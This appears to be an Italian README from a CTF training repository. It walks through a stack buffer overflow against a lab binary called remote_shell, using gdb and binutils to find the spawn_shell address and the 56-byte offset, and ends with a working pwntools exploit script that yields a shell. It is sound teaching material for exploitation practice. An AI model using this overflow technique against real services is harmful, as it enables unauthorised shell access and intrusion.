Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
..
Failed to load latest commit information.
README.md

README.md

Remote Shell

Vogliamo sovrascrivere l'indirizzo di ritorno di main con l'indirizzo di spawn_shell. Ci servono le seguenti informazioni:

  • Indirizzo di spawn_shell;
  • Distanza fra inizio del buffer e indirizzo di ritorno.

Poi possiamo procedere con l'exploit.

Indirizzo di spawn_shell

Apriamo Remote Shell nel debugger gdb e printiamo l'indirizzo di spawn_shell:

$ gdb ./remote_shell 
[...]
(gdb) p/x &spawn_shell
$1 = 0x40076a

Dove p è un'abbreviazione del comando print, mentre x indica di stampare l'indirizzo in esadecimale (perchè è più comodo). Quindi l'indirizzo è 0x40076a.

Ci sono anche altri modi:

$ nm remote_shell | grep spawn_shell
000000000040076a T spawn_shell
$ readelf -s remote_shell | grep spawn_shell
    52: 000000000040076a    51 FUNC    GLOBAL DEFAULT   13 spawn_shell
$ objdump -t remote_shell| grep spawn_shell
000000000040076a g     F .text  0000000000000033              spawn_shell

Offset del retaddr

Un modo "grezzo" è provare varie lunghezze di overflow finchè non si ottiene un crash (perchè si è corrotto l'indirizzo di ritorno con un indirizzo non valido). Un metodo più raffinato è quello di trovare (1) l'indirizzo assoluto del buffer e (2) l'indirizzo assoluto dell'indirizzo di ritorno. Poi, prendendo la differenza, abbiamo la distanza fra i due. Apriamo il programma con gdb e iniziamo settando un breakpoint su main e lanciando il programma (b sta per break, r sta per run):

$ REMOTE_SHELL_PASSWORD=test gdb ./remote_shell
[...]
(gdb) b main
Breakpoint 1 at 0x4007a1
(gdb) r
Starting program: /home/andrea/spritz_playground/remote_shell/remote_shell 

Breakpoint 1, 0x00000000004007a1 in main ()

Ora siamo fermi all'inizio di main. Dopo che abbiamo inserito la password verrà chiamato strcmp per confrontarla con la vera password, e buffer sarà passato come primo argomento a strcmp, quindi possiamo osservare il suo indirizzo assoluto. Impostiamo un breakpoint su strcmp e riprendiamo il programma (c per continue):

(gdb) b strcmp
Breakpoint 2 at gnu-indirect-function resolver at 0x7ffff7a97540: file ../sysdeps/x86_64/multiarch/strcmp.S, line 87.
(gdb) c
Continuing.
Enter password: asd         

Breakpoint 2, __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:24
24      movl    %edi, %eax

Sul Linux x86 64-bit, il primo argomento a una funzione è passato nel registro rdi, quindi stampandolo possiamo ottenere l'indirizzo di buffer:

(gdb) p/x $rdi
$1 = 0x7fffffffdc60

Ora dobbiamo trovare l'indirizzo del retaddr. Ci sono due registri che controllano lo stack: rsp (stack pointer), che punta sempre alla cima dello stack, e rbp (base pointer), che punta al saved base pointer. Non sappiamo la dimensione dello stack frame, quindi la cima dello stack ci dà poche informazioni. Invece sappiamo che il saved base pointer (anche se non ci interessa cosa sia) è sempre collocato immediatamente prima del retaddr, ed è lungo 8 byte (su 64-bit). Quindi rbp+8 sarà l'indirizzo del retaddr:

(gdb) p/x $rbp+8
$2 = 0x7fffffffdc98

Ora basta prendere la differenza (con una calcolatrice o direttamente da gdb):

(gdb) p/x ($rbp+8)-$rdi
$3 = 0x38

Ottimo, vuol dire che ci servono 0x38 (56) byte per raggiungere l'indirizzo di ritorno.

Quest'informazione si può anche ottenere tramite reverse engineering del binario, per esempio:

(gdb) disass main
Dump of assembler code for function main:
   [...]
   0x00000000004007fe <+97>:    lea    -0x30(%rbp),%rax
   0x0000000000400802 <+101>:   mov    %rdx,%rsi
   0x0000000000400805 <+104>:   mov    %rax,%rdi
   0x0000000000400808 <+107>:   callq  0x400620 <strcmp@plt>
   [...]

Quel lea -0x30(%rbp), %rax indica che il buffer è a rbp-0x30, cioè ci sono 0x38 byte tra buffer e retaddr. Molti strumenti di reversing (Hex-Rays IDA, Binary Ninja, ...) analizzano lo stack frame e ne mostrano la struttura, quindi si vede l'offset a colpo d'occhio. Altre possibilità sono l'uso di breakpoint sull'istruzione ret o la derivazione dell'offset tramite pattern ciclici (De Bruijin). Il metodo con gdb illustrato inizialmente rimane abbastanza semplice soprattutto per chi non mastica assembly.

Exploit

Ora possiamo costruire il nostro payload:

  • 56 byte di spaz(i|z)atura;
  • 8 byte di indirizzo di ritorno, cioè l'indirizzo di spawn_shell (0x40076a) codificato come un intero little-endian a 64 bit: 6a 07 40 00 00 00 00 00.

Per convertire un intero Python in una stringa di byte codificati possiamo usare le funzioni p* di pwntools, in questo caso p64 (perchè vogliamo codificare un intero a 64bit), anzichè farlo a mano.

L'exploit quindi è qualcosa del genere:

from pwn import *

context(os='linux', arch='x86_64')

p = process('./remote_shell', env={'REMOTE_SHELL_PASSWORD': 'test'})

p.recvuntil('Enter password: ')

buf  = 'A'*56
buf += p64(0x40076a)

p.sendline(buf)
p.interactive()

Ora basta rimpiazzare process con remote per lanciarlo contro il server remoto e ottenere una shell, da cui potete leggere la flag. Ovviamente env non serve più in remoto (e non avrebbe alcun senso).